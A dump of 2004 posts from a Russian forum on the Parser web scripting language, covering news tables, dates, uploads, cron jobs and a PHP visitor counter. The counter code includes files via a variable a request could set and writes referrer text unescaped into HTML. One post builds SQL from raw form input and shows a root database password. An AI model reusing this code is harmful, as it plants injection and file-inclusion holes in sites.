Думаю первой моей ошибкой было то, что я начал с админки, а не с самих новостей\
[/quot]\
то как раз правильно, IMHO.\
\
1. \
[quot]\
В базе есть столбики: head, body, year, month, day\
[/quot]\
вместо трех полей year, month, day нужно использовать одно поле с типом данных DATE или DATETIME\
\
2. \
[quot]\
если $request:query eq $news.id\
[/quot]\
почитайте в документации про $form, и забудьте про $request:query на ближайшие пол года. считайте что её нет. заодно найдите что означает ^form:id.int(0) и используйте эту конструкцию.\
\
3. после того, как вы избавитесь от year, month, day и почитаете про типы DATE у вас должны пропасть проблемы с сортировкой звписей по дате."
"30253","0. теперь я тоже так думаю.\
1. А если я хочу сортировать по году или по месяцу, как быть? \
2. Позаольте, причем же здесь формы? Ведь это вывод новостей, т.е. главная страница новостей, а не админка. Или вы имеете ввиду $form:fields ??"
"30254","а то из [url=http://www.artlebedev.ru/portfolio/yandex/site8/]портфолио[/url] этого не следует..."
"30256","[code]\
^baskets.menu{\
$var[^eval($var+^eval(^baskets.price.double[] * ^baskets.quantity.int(1))[%.2f])]\
}\
<hr/>\
Итого: ^$$var\
[/code]\
\
у вас в menu много лишних и совершенно ненужных преобразований: лишние eval и вформатирование строк, которые не способствуют читаемости кода. по моему немного лучше так:\
\
[code]\
$var(0)\
^baskets.menu{\
^var.inc(^baskets.price.double[] * ^baskets.quantity.int(1))\
}\
<hr/>\
Итого: ^$^var.format[%.2f]\
[/code]"
"30257","почему именно parser? в чем его превосходство над тем же php?\
если нет превосходств(кроме как в легкости освоения), то значит существуют задачи, которые выполнить все на том же php легче, так как не может существовать двух одинаковых языков програмировая/скриптования.\
\
сейчас я стою на распутье - незнаю что выбрать - parser или php.\
огромная просьба помочь в выборе."
"30258","это очень легко проверить.\
прописываем такой урл: \" http://www.yandex.ru/auto.p \". получаем 404-ю ошибку, т.е файла не существует, также, как и парсера.\
\
берем сайт www.only.ru\
прописываем подобный урл \" http://www.only.ru/auto.p \". получаем 403-ю ошибку, т.е отказ в доступе. следовательно данный файл существует и этот сайт создан по технологии парсера."
"30259","Если auto.p не лежит выше корня... ;)"
"30261","Как писал здесь (http://www.parser.ru/forum/?id=30252) Misha v.3\
\
почитайте в документации про $form, и забудьте про $request:query на ближайшие пол года. считайте что её нет."
"30262","Таки да, эта функция работает. Ну и славно. Большое спасибо."
"30264","1. сначала, все январи всех лет, потом все декабри?!\
2. не позволим. \
[code]http://server/.../document.html?id=value[/code], этот id доступен, как [code]$form:id[/code]\
[большой секрет для тех, кто до сих пор не почитал описание протокола HTTP]"
"30265","а модератор удаляет только то, что считает нужным.\
впрочем, попробуйте написать."
"30266","Кто-нибудь сталкивался, - у меня в 3.1.3 под RH Linux для rusage не работает параметр maxrss остальные работают. Да, бинарик взял тот, что собран студией."
"30267","но почитать документацию и другие примеры все равно придется, тупой copy/paste не сработает.\
\
а так может кому поможет.\
\
P.S. http://www.parser.ru/examples/news/"
"30269","Миша, сделай рефакторинг, - 4 уровня вложенности if это немного неприемлемо."
"30270","Как связать этого чудо-зверя с Parser'ом?\
[url=\"http://textus.ru/\"]SpeSta v 1.3F[/url]"
"30271","уверен, работает :)"
"30272","Что сделать надо? Если чётко поставить задачу, наверно возможно, а просто так точно нельзя.\
Ещё надо подумать а оно это надо и рационально ли?"
"30273","[code] \
CREATE TABLE article (\
	article_type_id INT(10) NOT NULL DEFAULT 0,\
	article_id INT(10) NOT NULL AUTO_INCREMENT,\
	title VARCHAR(255),\
	lead VARCHAR(255),\
	body TEXT,\
	is_published TINYINT(4) NOT NULL DEFAULT 0,\
	dt DATETIME NOT NULL,\
	dt_published DATETIME NOT NULL\
	PRIMARY KEY (article_id, article_type_id),\
)\
[/code]"
"30274","что-то не получается \"вклеить\" в auto.p\
под Виндой работает, но ессно с ошибками (\"обрубленный\" Денвер), а на сервере не пашет.\
\
--- SpeSta readme ---\
Способ первый\
[code]<? include (\"stat/counter.php\"); ?>[/code]\
\
Способ второй\
[code]<? \
$s_addurl=\"stat/\"; \
include ($s_addurl.\"counter.php\"); \
?>[/code]\
\
--- End SpeSta readme ---\
\
Не один не работает :-("
"30275","<script language=\"javascript\">\
r=\"\"+Math.random()+\"&ref=\"+escape(document.referrer)+\"&pg=\"+\
escape(window.location.href)^;\
document.write(\"<img src='http://YOURSITE.ru/stat/counter.php?id=\"+\
r+\"' border=0 width=1 height=1 alt=SpeSta>\")\
</script>"
"30276","Следует.\
Если не указано, что использован Парсер, значит, он не использован.\
И вообще, Яндекс заказывает у студии только дизайн всех проектов.\
Если я ошибаюсь, поправьте."
"30277","обычно статистику собирают иначе.\
\
если скрипт небольшой, наверое, можно перевести на parser.\
не приведёте ли?"
"30278","-- SpeSta readme---\
\
АЛЬТЕРНАТИВНЫЙ СПОСОБ. С ИСПОЛЬЗОВАНИЕМ КАРТИНКИ 1Х1 ПИКСЕЛЬ И JAVASCRIPT. \
\
Этот способ менее точный, так как у некоторых людей могут быть отключены картинки. \
\
--- end SpeSta readme ---"
"30280","Я не такой уж специалист по Parser что-бы транслировать код.\
Мне просто не нравится PHP. Опять же код у PHP на мой взгляд \"не красивый\"...\
Хотел просто превинтить и забыть... Я уже начинаю задумываться, а нужен ли такая статистика...\
\
А код большой. Просто этот анализатор \"мощный\" еще и скидывает статистику на почту. Почта то уж чаще читается, чем проверяется статистика сайта..."
"30281","Уж не проще указать где ошибка?! Кому этот флейм нужен. Прежде чем что-то спрашивать здесь я раз пятнадцать думаю. И всё это время рыскаю по документации.\
Где-то там нормальные примеры, а где-то далеко не понятные. И десять раз думаю над:\
\
--- parser3_1_2_20040401.ru.chm ---\
Parser появился на свет в 1997 году в [url=\"http://www.design.ru\"]Студии Артемия Лебедева[/url]. Целью его создания было облегчить труд тех, кто по сегодняшний день успешно и в кратчайшие сроки создает лучшие сайты рунета, избавить их от рутинной работы и позволить отдавать свое время непосредственно творчеству. Зачем забивать гвозди микроскопом, если его настоящее предназначение совсем не в этом?\
--- end parser3_1_2_20040401.ru.chm ---\
\
Я конечно понимаю, что вы занятые все люди и вам некогда \"адаптировать\" документацию, мол и так радуйтесь, что вам подарили это \"чудо\". Но...\
\
[quote]\"И сказал Господь: Я увидел страдания народа Моего в Египте, и услышал вопль его от приставников его; Я знаю скорби его, и иду избавить его от руки египтян и вывести его из земли сей в землю хорошую и пространную, где течет молоко и мед…\" (Исход, 3, 7-8)[/quote]"
"30282","он должен быть крошечным.\
остальное оставьте как есть."
"30283","[code]<?php\
\
ignore_user_abort (true);\
Spesta ();\
ignore_user_abort (false);\
\
function Spesta ()\
{\
 global $_REQUEST, $ref, $pg, $s_addurl, $out, $filterfile, $cfile, $rtran, $typo;\
\
 if (!isset ($s_addurl))\
 {\
  $z=dirname(__FILE__);\
  $z2=$_SERVER['DOCUMENT_ROOT'].dirname ($_SERVER['PHP_SELF']);\
  $s_addurl=substr ($z, strpos ($z, $z2)+strlen($z2));\
  if ($s_addurl!=\"\") $s_addurl.=\"/\";\
 }\
 else $s_addurl=str_replace (\":\",\"\", $s_addurl);\
\
\
 include ($s_addurl.\"func.php\");\
\
 if (!isset ($ref)) $ref=$GLOBALS['HTTP_REFERER'];\
 if (!isset ($pg))  $pg=$GLOBALS['REQUEST_URI'];\
\
 // REQUEST_URI bugfix\
 $url=parse_url($pg);\
 $pg=$url['path'];\
 if ($url['query']!=\"\") $pg.=\"?\".$url['query'];\
\
\
 if ($s_addurl==\"\")\
 {\
  $showcounter==\"no\";\
  header (\"Content-type: image/gif\");\
  include ($s_addurl.\"p.gif\");\
  // exit ();\
 }\
\
 // WEB_SPIDERS CHECK\
 foreach ($robots as $r)\
 {\
  if (stristr($_SERVER['HTTP_USER_AGENT'], $r)!=false)\
   $spider = 1;\
 }\
\
 if ($spider)\
 {\
   loggg ($s_addurl.\"data/spiders.txt\", $_SERVER['HTTP_USER_AGENT']);\
 }\
 else\
 {\
\
  $url = urldecode ($ref);\
  if (($url!=\"\") and (!stristr ($url, $host)))\
  {\
\
    if (stristr($url, \"=\"))\
    {\
      if(stristr($url, \"yand\")) { $sw = \"text=\"; $engine = \"Y\"; } else\
      if(stristr($url, \"google.\")) { $sw=\"q=\"; $engine = \"G\"; } else\
      if((stristr($url, \"go.mail.ru\")) and (stristr($url, \"words=\"))) { $sw=\"words=\"; $engine = \"M\"; } else\
      if(stristr($url, \"go.mail.ru\")) { $sw = \"q=\"; $engine = \"M\"; } else\
      if(stristr($url, \"rambler\")) { $sw = \"words=\"; $engine = \"R\"; } else\
      if(stristr($url, \"sm.aport\")) { $sw=\"r=\"; $engine = \"A\"; } else\
      if(stristr($url, \"search.yahoo\")) { $sw=\"p=\"; $engine = \"H\"; } else\
      if(stristr($url, \"aolsearch\")) { $sw=\"query=\"; $engine = \"O\"; } else\
      if(stristr($url, \"q=\")) { $sw = \"q=\"; $engine = \"?\"; } else\
      if(stristr($url, \"query=\")) { $sw = \"query=\"; $engine = \"?\"; }\
    }\
\
    $req=1;\
\
    if (isset($engine))\
    {\
\
     $req=0;\
\
     $url2=urldecode($url);\
     $url2=stripslashes ($url2);\
     $url2=strip_tags ($url2);\
\
     if  (stristr($url, \"yandpage\")) {$url2=convert_cyr_string ($url2, k, w);} #yandexfix\
\
     if (($engine == \"G\") or ($engine == \"?\"))\
     {\
      include $s_addurl.\"utf.php\";\
      $url2=utf_decode ($url2);\
     }\
\
     eregi ($sw.\"([^&]*)\", $url2.\"&\", $url2);\
     $url2=strip_tags ($url2[1]);\
\
     $fullfile=\"[ <small><b><a href='\".$ref.\"'>\".$engine.\"</a></b></small> ] : <a href='\".$pg.\"' title='[ \".date(\"d.m.Y H:i\").\" ]'>\".$url2.\"</a><br>\";\
\
     $ya= S_fr ($s_addurl.\"data/se.txt\");\
     $ya= explode (\"\\n\", $ya);\
\
     @array_unshift ($ya, $fullfile);\
     if (count ($ya)>$numse) unset ($ya[$numse]);\
\
     $output = @array_slice ($ya, 0, 10);\
\
     // SEARCH ENGINES\
     $fullfile=implode (\"\\n\", $ya);\
     S_fw ($s_addurl.\"data/se.txt\", $fullfile);\
\
     $fullfile=implode (\"\\n\", $output);\
     // $fullfile=preg_replace (\"/<small>(.*)</\\small>/es\", \"\", $fullfile);\
     S_fw ($s_addurl.\"data/se10.txt\", $fullfile);\
\
     // SEARCH WORDS\
     loggg ($s_addurl.\"data/words.txt\", $url2);\
\
    }\
    else\
    {\
     // REFFERER\
     loggg ($s_addurl.\"data/referers.txt\", $url);\
    }\
\
  };\
\
  // REQUEST URL\
  loggg ($s_addurl.\"data/request.txt\", (urldecode($pg)));\
\
  // NOT UNIQUE USER-AGENTS\
  // loggg ($s_addurl.\"data/agents.txt\", $HTTP_USER_AGENT);\
\
  // в этом файле содержатся уникальные ip-шники за день и показания счетчика\
  $COUNT_FILE = $s_addurl.\"data/count.txt\";\
  $message=\"\";\
\
  // $ip - это тот самый айпишник, прокси учитываются\
  if (getenv(\"HTTP_CLIENT_IP\")) $ip = getenv(\"HTTP_CLIENT_IP\");\
  else if (getenv(\"HTTP_X_FORWARDED_FOR\")) $ip = getenv (\"HTTP_X_FORWARDED_FOR\");\
  else if (getenv(\"REMOTE_ADDR\")) $ip = getenv(\"REMOTE_ADDR\");\
  else $ip = \"UNKNOWN\";\
\
  // $ip=$ip.\" \".$_SERVER['REMOTE_HOST'];\
\
  // вычисляем дату.\
  $datum=date(\"d.m.Y\", time());\
\
  // открываем файл\
  $conts= S_fr ($COUNT_FILE);\
\
  // date|unique-1|today-2|total-3|search engines-4|other sites-5|homepage-6| text-7\
\
  // считываем кол-во хитов, уникумов и пр.\
  $counts= explode(\"|\",$conts);\
\
  // полночь. ;)\
  // счетчик обнуляется.\
\
  if ($counts[0]!=$datum) \
  {\
   $m = $counts[0].\"|\".$counts[1].\"|\".$counts[2].\"|\".$counts[3].\"|\".$counts[4].\"|\".$counts[5].\"|\".$counts[6];\
   $counts[0]=$datum; $counts[1]=$counts[2]=$counts[4]=$counts[5]=$counts[6]=$counts[7]=0;\
  }\
\
  // уникумы\
  if (loggg ($s_addurl.\"data/ip.txt\", $ip) == false)\
  {\
  // $counts[7].=$ip;\
  $counts[1]++;\
\
  // UNIQUE USER-AGENT\
  loggg ($s_addurl.\"data/agents.txt\", $_SERVER['HTTP_USER_AGENT']);\
\
  // FROM SEARCH ENGINES\
  if(isset($engine)) { $counts[4]++; }\
\
  // from other sites\
  $counts[5]=$counts[5]+$req;\
  }\
\
  // увеличение хитов\
  $counts[2]++; $counts[3]++;\
  if (($pg==\"/\") or ($pg==\"\")) $counts[6]++; #home\
\
  // search engines\
\
  // ФОРМАТ СЧЕТЧИКА\
  // date|unique-1|today-2|total-3|search engines-4|other sites-5|homepage-6| text-7\
  // 1 - уникальных, 2 - хитов сегодня, 3 - хитов всего, 4 - с поисковиков сегодня, 5 - с других сайтов сегодня, 6 - на домашней странице сегодня\
\
  $out['counter']=\"<b>\".$counts[3].\"</b> / \".$counts[2].\" / <b>\".$counts[1].\"</b> / \".$counts[5].\" / \".$counts[4];\
\
  if ($showcounter==\"yes\") echo $out['counter'];\
\
  $content=$counts[0].\"|\".$counts[1].\"|\".$counts[2].\"|\".$counts[3].\"|\".$counts[4].\"|\".$counts[5].\"|\".$counts[6];\
\
  if ($content==\"||||||\") exit ();\
\
  S_fw ($COUNT_FILE, $content);\
\
  ///  MIDNIGHT\
\
  if ($m!=\"\")\
  {\
\
   if ($m!=\"||||||\")\
   {\
    $fp = @fopen($s_addurl.\"data/days.txt\", \"a\");\
    fwrite($fp, $m.\"\\n\");\
    fclose($fp);\
   }\
\
   S_fw ($s_addurl.\"data/ip.txt\", \"\");\
\
   // по понедельникам - отчет\
   // include $s_addurl.\"report.php\";\
   if ((date (\"w\")==1) and ($mailreport==\"yes\")) include $s_addurl.\"report.php\";\
\
  }\
\
 }\
\
}\
\
?>[/code]"
"30284","1. То, что парсер имеет ^file::exec и ^file::cgi я думаю объяснять не надо?\
\
2. Раз парсер это умеет, надо просто попросить его запустить счетчик.\
\
3. Чтобы запустить счетчик, надо создать страницу, с которой он будет вызываться.\
\
Итого (в обратном порядке)\
3.1. /cntr.php\
[code]#!/usr/bin/php\
\
<?\
$s_addurl=\"stat/\"; \
include ($s_addurl.\"counter.php\"); \
?>[/code]\
\
3.2. chmod 755 aaa.php\
\
2. В тело страницы\
[code]$f[^file::exec[/aaa.php]]\
^taint[as-is][$f.text][/code]\
\
1. Вот и все.\
\
0. И ведь все это описано..."
"30285","нет блокировки на COUNT_FILE файл.\
\
на большой нагрузке вообще работать не будет.\
всё, что тут делается, надо делать потом, по журналу.\
\
если вам нужно быстро и сейчас,\
запросто напишите подобное на parser.\
будет меньше.\
\
но послушайте доброго совета: выкиньте это из головы.\
ведь на нормальном hosting эта функция: штатна.\
на hosting, контролируемом вами: эта функция легко добавляется установкой одного из многих доступных анализаторов log файлов\
\
методом исключения: или ваш hosting ненормален, или имеет место самоцель."
"30286","Парсер делает оптимзацию пробельных символов, а если ты просто заглянешь в код, ты увидишь что там её нет, или специально отключили, что маловероятно или даже невероятно, или сайт не пользует парсер."
"30287","Хостингом я доволен ([url=\"http://azz.ru\"]AZZ.RU[/url].\
Хотелось бы на мыло статистику... Опять же при необходимости можно показывать заказчику (диктует рынок), а то как отображает Webalizer заказчик не поймет. Тем более выдать ему пароль от ftp... обезьяна с гранатой имхо безопаснее...\
Меня вполне устраивает счетчик из примера, но он не показывает \"уникальных\" и не игнорирует поисковики. Есть еще несколько достоинств у SpeSta... Вот только её автор или обозлён на Лебедева или амбиции..."
"30288","если файл счётчика не блокируется, это просто недопустимая ошибка.\
\
вывод: вам нравится [b]эта[/b] система статистики, а разумные доводы вам до лампочки.\
\
\
как уже писал, реализовать этот counter.php на parser вполне можно (чтобы получались те же файлы).\
а показывают статистику пусть его php скрипты.\
\
когда будете делать, смотрите, не повторите указанной ошибки."
"30289","\"Приказываю\" — это литературное...\
По-первому пункту: сабж. Насколько я понимаю, здесь тоже не много поклонников PHP. Поэтому я [code]^file::exec и ^file::cgi[/code] исключил.\
\
Видимо чтобы нормально программировать на Parser — нужно читать \"учебник\" PHP =("
"30290","ну с flock'ом я думаю, что решим...\
Я другой \"такой\" статистики не знаю...\
\
P.S. http://www.parser.ru/forum/?id=30289"
"30291","всё же послушайте голоса разума — уверен, вам есть что поделать и без этого.\
\
а анализаторов логов в природе хватает, найдите готовый по душе."
"30292","есть там какая-то хитрость, автор писАл что-то на эту тему:\
[code]http://spectator.ru/technology/php/flock_workaround[/code]\
\
нужная функция инклюдится из внешнего файла, ибо по коду её вроде не наблюдается, только вызовы... (хотя, черт е знаит на самом деле, в PHP я полный профан, в хорошем смысле этого слова... ;)"
"30293","опять же \"авторские права\"...\
\
Заикнулся про права... :-) флейм...\
Когда я \"собирал\" эскиз сайта заказчик сидел рядом. В нашей провинции такое сплошь и рядом. Титульная страница была \"пустая\". Чтобы как-то \"разрядить\" я решил повесить \"меняющиеся\" картинки. Почему-то под рукой оказался \"большой баннер\" с [url=\"http://ab.lv\"]AB.LV[/url] просто посмотреть как это будет.\
... лучше бы я повесил другое ...\
Заказчику она понравилась и теперь он хочет \"именно так\". Вот не знаю как быть... [url=\"http://artlebedev.ru\"]design.ru[/url] сильно огорчиться если она повесит недельку-другую? Потом он \"перегорит\" и я поменяю..."
"30294","и ничего не блокируем.\
\
не вижу хитрости.\
вижу ошибку.\
\
проехали."
"30296","В апаче. Чем, собственно это отличается от простого захода броузером?"
"30298","то нигде (если сервер таких логов не ведет). Парсер ничего в лог по этому поводу не пишет."
"30299","и как можно заставить вести хотя бы..."
"30300","Это ведь несложно.\
Просто после каждой удачной закачки пишите в СВОЙ лог файл инфу, которая Вам нужна."
"30302","Извините за тупой вопрос, но как мне вывести простую дату. Например:\
\
$dates[^date::now[]] \
\
Как мне вывести дату в таком формате : число_дня.число_месяца.год, типа вот так 9.6.2004"
"30305","$txt[^file::load[text.txt;txt.txt]]\
$txt.text\
<br>Размер файла : $txt.size<br>\
Имя файла : $txt.name\
\
По идее при занрузки файла он также должен сменить имя с text на txt, но имя он не меняет  и когда $txt.name он мне выводит новое имя, тое сть txt. Почему так происходит?"
"30306","Пытаюсь загрузить файл с http сервера.\
Пишу \
[code]\
$file[^file::load[binary;http://site.ru/picture.gif]]\
[/code]\
Строка http://site.ru/picture.gif приходит из формы. Указываемый файл существует точно.\
\
В ответ получаю \
Unhandled Exception (Debug)\
does not start with http://\
\
Если же http://site.ru/picture.gif брать не из формы, а прописать сразу, то все ок. Подозреваю что все дело в tainte. Если так, то подскажите как его правильно написать. Или поправьте если я ошибаюсь"
"30307","Поставил \
[code]\
$file[^file::load[binary;^taint[file-spec][$form:myfile]]]\
[/code]\
И все заработало"
"30308","Сорьки, если что-то скажу не так.\
\
1) что вы делаете\
Создаёте объект класса, тьфу... :)\
Копируете файл в переменную\
\
<Цитирую доку>\
^file::load[формат;имя файла]\
Загружает файл с диска или HTTP-сервера.</цитаты закончились>(Не сохраняет, а именно загружает)\
Прошу обратить внимание, что формата text.txt нет, если у вас загружается в этом формате, возможно это не документированная возможность\
\
2) $txt.text\
Читает (выводит) текстовое поле\
\
3) $txt.size\
Читает (выводит) размер файла\
\
4) $txt.name\
Читает (выводит) имя файла в данном случае ($txt[^file::load[text.txt;txt.txt]])\
<цитирую доку>\
name. Имя файла\
$файл.name   \
Поле содержит имя файла. Объект класса file имеет поле name, если пользователь закачал файл через поле формы. Также в конструкторе file::load может быть указано альтернативное имя файла.</ цитирую доку>\
\
Для изменения имени файла, используется статический метод movie класса file\
<цитирую доку>\
^file:move[старое имя файла;новое имя файла]   \
</цитирую доку>"
"30309","запутался окончательно\
[code]\
при добавлении сообщения в гостевую новая строка преобразуется в тэг <newline/>\
в итоге, в базе текст выглядит так:\
<body>\
Что-то-там<newline/>Еще<newline/>и т.д.\
</body>\
\
Как сделать чтобы при преобразовании <newline/> менялся на <br />, причем на своем месте?\
\
<xsl:apply-templates select=\"body\"/>\
<xsl:template match=\"body\">\
	<xsl:for-each select=\"newline\">\
		<br />\
	</xsl:for-each>\
	<xsl:value-of select=\".\"/>\
</xsl:template>\
выводит все <br />'ы перед текстом, что, впрочем, логично.\
\
[/code]"
"30310","на этой-же странице форума сиё обсуждалось:\
\
http://www.parser.ru/forum/?id=30207"
"30313","Можно еще вагон пива админам."
"30314","или я первый его задаю?"
"30315","спасибо, что обнаружили, исправлю.\
\
вы, вероятно, хотели сказать\
[code]\
^file::load[binary;disk-name;name-for-download]\
[/code]"
"30316","предлагаю не играть в бубен, а почитать документацию и примеры."
"30317","в контексте вопроса я представляю себе три варианта развития событий:\
\
1. вы тянете у кого-то через ^file::load[http://... решение: http://www.parser.ru/forum/?id=30300\
2. кто-то тянет у вас через ^file::load[http://... решение: http://www.parser.ru/forum/?id=30296\
3. кто-то тянет у кого-то через ^file::load[http://... решение: http://www.parser.ru/forum/?id=30311\
\
ваш вариант?"
"30318","причем ему невыгодно показывать трафик...\
решение?"
"30319","так как каждый virtualhost выполняется под уникальным uid:gid..."
"30321","Есть скрипт, который лежит на сервере.\
Скрипт генерирует XML из БД.\
Хочется его запускать 1 раз в час.\
\
Вижу 4 варианта:\
[b]1.[/b] Запускать средствами Windows вместе с IE\
- при этом каждое утро надо будет закрывать XXX окон IE\
[b]2.[/b] Сделать на странице рефреш с длительностью в 1 час\
- нужно, чтобы окно было постоянно открыто, не красиво\
[b]3.[/b] Написать программу, которая будет обращаться к скрипту, получть 200 OK и закрываться\
- надо писать хоть и немного, но времени как всегда в обрез\
[b]4.[/b] Пересмотреть логику работы сайта, сделать чтобы XML из БД генерился при каждом запуске\
- не хотелось бы генерить одно и тоже, если в базе данные меняются 2-3 раза в сутки\
\
Мб профессионалы подскажут более красивые варианты ?"
"30322","wget.exe http://your_site/periodic/hour.html\
\
Ну и запускать это один раз в час."
"30324","добавить в crontab на hosting машине строчку, выполняющую команду\
[code]\
cd /.../webspaceRoot & /path/to/parser ../exec/something.html >> ../exec/logs/something.log 2>>../exec/logs/error.log\
[/code]\
по тому расписанию, которое необходимо.\
\
см. «Использование Parser в качестве интерпретатора скриптов» в документации."
"30325","Или открываете вижуал бейсик, и пишете простенький windows service, который работает даже тогда, когда в систему никто не залогинен."
"30326","Есть предложение всем, кто любит и использует(грязно использует) Parser, встретиться и пообщаться вживую.\
Предлагаемое время -- ближайшие выходные.\
Предлагаемое место -- один из баров/ресторанов Яндекс.wifi\
\
Ждём комментариев."
"30327","Я с кайфом попью пива скажем в ПТ вечером, ну или в субботу"
"30328","Существуют ли способы проверки данных из форм в parser'е ?"
"30329","http://www.parser.ru/forum/?id=2179"
"30330","Еще пивной бар на Никольской и Пироги на Никольской......"
"30331","Ну не понимаю я зачем XML нужен.....для баз данных? и всё?"
"30332","Нет. Например проверка email адресов."
"30333","http://www.parser.ru/examples/lib/"
"30334","А Вы изучите его и всё поймете, и не скажите, что потеряли время зря."
"30335","Я не понимаю зачем жизнь нужна.....для секса? и всё?"
"30336","Спасибо. Значит по такому принципу можно не только email проверять?"
"30337","Подскажите что означает ^^\\w+([.-]?\\w+), просто я такие вещи на php делал, но там это немного по-другому реализуется."
"30339","?"
"30341","Есть функция, которая выводит некоторый текст, после которого не должно быть пробела. Удается этого добиться, если между последней строчкой в этой ф-ции и началом следующей нет пустой строки. То есть так:\
\
@first[]\
...\
@second[]\
\
Это, однако, ЖУТКО неудобно -- ф-ции визуально сливаются. Казалось бы, достаточно вставить между последней строчкой first и началом second строчку (или несколько) комментариев. Так вот фиг -- сразу появляется лишний пробел. То есть вот это работает неправильно:\
\
@first[]\
...\
#############\
@second[]\
\
Хочется спросить: это фича, или баг?"
"30342","http://www.parser.ru/docs/lang/?definemethod.htm"
"30343","Поскольку результатом работы функции был не совсем маленький кусок кода, то я не подумал про result.\
\
Благодарю."
"30344","Почему появляется ошибка :\
\
@uploads[]\
<form method=\"post\" enctype=\"multipart/form-data\">\
<input type=\"file\" name=\"files\">\
<input type=\"submit\">\
</form>\
$f[^file::load[binary;$form:files]]\
\
Пишет:\
\
Unhandled Exception (Debug)\
\
read failed: Permission denied (13), actual filename 'z:/home/test1.ru/www/test/upload/'\
z:/home/test1.ru/www/test/upload/\
\
\
z:/home/test1.ru/www/test/upload/auto.p(6)\
exception.type=file.access \
load z:/home/test1.ru/www/test/upload/auto.p(6)\
uploads z:/home/test1.ru/www/test/upload/index.html(1)\
\
OC - Windows"
"30345","Вы пытаетесь загрузить объект класса file, а не сам файл.\
Если смыслом данной операции было сохранение, то пишите так:\
[code]\
^if($form:files is \"file\"){\
   ^form:files.save[binary;путь_сохранения_с_именем_файла]\
}\
[/code]"
"30348","Это понятно, но здесь когда указываешь имя файла, то любой другой файл конечно же не загружается. А я хотел сделать загрузку любого файла с диска. Как это осуществить?"
"30350","Если задача = обработка файла ПОСЛЕ загрузки - изучайте\
поля класса file: см сообщение Spearance.\
Если задача - выбор любого файла кодом парсера ДО загрузки и какая-то автоотправка, то через форму это точно не выйдет.\
Поясните пожалуйста, что хотелось бы получить..."
"30351","Цель проста. В форме выбирается файл, который хотим загрузить ( любой ), и жмём Submit button. И загружаемый файл сохраняется в папку со скриптом."
"30352","Обясните идиоту:\
\
Есть строка: \
$convert[^file::exec[c:\\ImageMagick\\convert.exe c:\\_pictures\\${poss.id}\\$content.name -quality 80 -thumbnail 150 c:\\_pictures\\${poss.id}\\s_$content.name]]\
\
До установки новой операционной системы работала на ура. Все меняла и т.д.\
\
Сейчас не работает. Пишет Страница не найдена. В чем может быть проблема? Причем из командной строки эта штука работает."
"30353","Предлагаю в следующие выходные.\
На эти многие не могут. Например, я."
"30354","наступаю ровно на теже грабли, причем не спасат даже снос глобального ini файла...\
подскажите куда копать..."
"30355","тупо скопировал за вашу строку, все работает :-), так и не понял в чем разница с:\
\
RewriteRule (.*) /index.html\\?uri=$1 [L,I]\
\
\
У этой штуки просто нет понятия QSA (?) и его типа вручную надо лепить (как у вас и сделано)."
"30357","кстати, как бы ему сказать чтоб он не реагировал на гифы и прочие вещи?"
"30358","Имеется три файла : \
\
section.cfg\
\
id	name	url\
1	Главная	/\
2	Новости	/news/\
3	Прайс-Лист	/price/\
4	Статьи	/articles/\
5	О нас	/about/\
\
auto.p\
\
## Menu Navigation ##\
@section_menu[]\
$section_link[^table::load[section.cfg]]\
<div align=\"left\">\
  <table border=\"1\">\
  ^section_link.menu{\
    <tr>\
      <td width=\"100%\" align=\"center\">&nbsp;<a href=\"$section_link.url\">$section_link.name</a>&nbsp;</td>\
    </tr>\
        }\
    </table>\
    </div>\
\
index.html\
\
^section_menu[]\
\
Помогите найти ошибку. Все файлы проверил по три раза но всё равно выходит ошибка. Пишет :\
\
Unhandled Exception (Debug)\
\
method of table (table) accepts maximum 2 parameter(s)\
menu\
\
\
z:/home/test1.ru/www/comp/auto.p(6)\
exception.type=parser.runtime \
section_menu z:/home/test1.ru/www/comp/index.html(1)"
"30360","Да, спасибо! Дествительно тупая ошибка."
"30361","или ещё стоите на парковке?"
"30363","Подскажите, как правильно сделать ссылку $out.name, чтобы она окрывала \
страницу card.html  в которой выводятся остальные поля из бд.\
Я присваиваю переменной x значение id, но в @outputcard[] эта переменная\
почему-то не работает. \
\
Форма...\
\
@outputform[]\
$conn[mysql://root:xxx111@localhost/catalog]\
^connect[$conn]{\
$out[^table::sql{\
select * from company where count='$form:search'\
}]\
^if($out){\
^out.menu{<a href=\"card.html\">$out.name $x[$out.id] </a>   <br>}<br>\
}\
}\
\
@outputcard[]\
$conn[mysql://root:xxx111@localhost/catalog]\
^connect[$conn]{\
$out[^table::sql{\
select * from company where id='$x'\
}]\
^if($out){\
^out.menu{$out.person  <br>} \
\
}\
}"
"30364","P.S. по моему мнение это не могло работать в принципе: у парсера передача параметров запускаемому приложению реализована иначе и что такое X:\\ он не имеет ни малейшего представления. обо всем этом может поведать документация."
"30366","Если я правильно понимаю (если нет поправьте пожалуйста), \
то в уроке 4 выодится следующее:\
Дата Тема\
Текст новости\
\
А мне нужно сделать немного другую конструкцию:\
Название фирмы, т.е.ссылка \
=>card.html где выводятся остальные поля из бд.\
Я не могу запомнить переменную с id и вставить ее в другой запрос sql\
\
У меня назрел еще вопрос:\
как всавить sql запрос в окно javascript? Т.е. таким образом можно будет не\
делать страничку card, а вывести значения в это окошко"
"30367","передать параметр с одной страницы на другую.\
не забывайте: каждое обращение к серверу, это отдельный мир. со своими переменными."
"30368","А как передается параметр с страницы на страницу?"
"30369","Если в таблице .cfg закомментировать строку #, то происходит ошибка, а в .log ошибка не записывается. Странно то, что на домашнем сервере ошибки не происходит."
"30370","Все нашел, спасибо."
"30372","Я правильно понял?\
^out.menu{<a href=\"card.html?$out.id\">$out.name $x[$out.id] </a>   <br>}\
т.е. $out.id станет доступной переменной?\
\
@outputcard[]\
$conn[mysql://root:xxx111@localhost/catalog]\
^connect[$conn]{\
$out[^table::sql{\
select * from company where id='?$out.id' Так?"
"30373","перечитайте урок.\
\
и больше таких вопросов не задавайте."
"30374","Если комментировать по порядку, то ошибки не возникает, а если так:\
\
#строка   строка\
строка    строка\
#строка   строка\
\
Возникает ошибка, если выборочно. Почему? В лог при этом ничего не пишется."
"30375","или сразу забаннить?\
\
Там надо прочитать десяток строк [b]первого[/b] и сделать, как написано. Или миссия невыполнима?"
"30377","Если я считывая дату из mySql\
то в переменной появляется она ввиде 2000-06-11\
\
А как мне из этой переменной вытащить месяц!"
"30378","1. SQL\
1.1. select month(дата)...\
\
2. парсер\
2.1. ^date::create[]\
2.2. ^string.mid()\
2.3. ^string.split[]\
2.4. ^string.match[]\
\
Выбор реализации зависит от того, зачем нужен месяц, нужна ли вся дата, сколько строк отдает запрос и т.д."
"30380","Поскольку статика отдается без suexec, от основного пользователя apache.\
\
